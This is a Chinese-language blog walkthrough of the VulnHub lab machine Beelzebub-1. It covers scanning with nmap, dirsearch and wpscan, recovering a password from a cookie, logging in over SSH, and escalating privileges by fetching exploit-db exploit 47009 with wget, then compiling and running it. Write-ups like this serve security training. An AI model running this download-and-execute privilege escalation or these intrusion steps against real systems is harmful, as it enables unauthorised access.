『vulnhub系列』BEELZEBUB- 1

Oboto發表於2024-05-27

『vulnhub系列』BEELZEBUB- 1

下載地址：

https://www.vulnhub.com/entry/beelzebub-1,742/

資訊蒐集：

使用nmap掃描存活主機，發現主機開啟了22和80埠

nmap 192.168.0.*

訪問80埠的web服務，發現是apache的預設頁面

使用dirsearch掃描目錄

dirsearch -u "http://192.168.0.140/"

發現存在phpmyadmin等頁面，訪問index.php頁面，發現是404 /login也是一樣

感覺有貓膩，檢視一下原始碼，果然發現一行提示

<!--My heart was encrypted, "beelzebub" somehow hacked and decoded it.-md5-->
#我的心被加密了，"beelzebub"不知如何被入侵了，並且被解密了 md5

大概的意思是本來是被加密的，後來被用md5解密了，現在我們使用md5加密一下

d18e1e22becbd915b45e0e655429d487

然後當作目錄掃描一下

dirsearch -u "http://192.168.0.140/d18e1e22becbd915b45e0e655429d487"

然後我們發現是個Wordpress 網站，裡面有登入頁面（這裡靶機換了ip變為192.168.0.128）

還有一個檔案上傳的目錄頁面

點開Talk To VALAK 發現是個帶有輸入框的頁面

隨便輸入一個資料，檢視cookie 多出來一個Password 值為M4k3Ad3a1

因為是Wordpress頁面，因此可以使用工具wpscan

使用命令：

wpscan --url=http://192.168.0.128/d18e1e22becbd915b45e0e655429d487/ --ignore-main-redirect --force -e --plugins-detection aggressive
  • --ignore-main-redirect 忽略重定向掃描目標
  • --force 不檢查是否執行wordpress
  • -e --enumerate 列舉，預設列舉所有外掛，備份
  • --plugins-detection aggressive 使用提供的模式列舉外掛 預設被動（passvie）可選：混合（mix）被動（passvie）主動（aggressive）

掃描到使用者valak 和krampus 我們使用這兩個使用者名稱和密碼M4k3Ad3a1進行登入

因為wordpress頁面跳轉有些問題，我們使用ssh登入，使用krampus登入成功

許可權提升：

進入系統後，使用命令ls -la 發現有兩個檔案很可疑

但是.sudo_as_admin_successful 大小為0所以我們直接看.bash_history可以看到命令歷史

然後我們發現有一個wget和gcc編譯命令，我們照著執行

wget https://www.exploit-db.com/download/47009

mv 47009 ./exploit.c

gcc exploit.c -o 1

./1

成果：

相關文章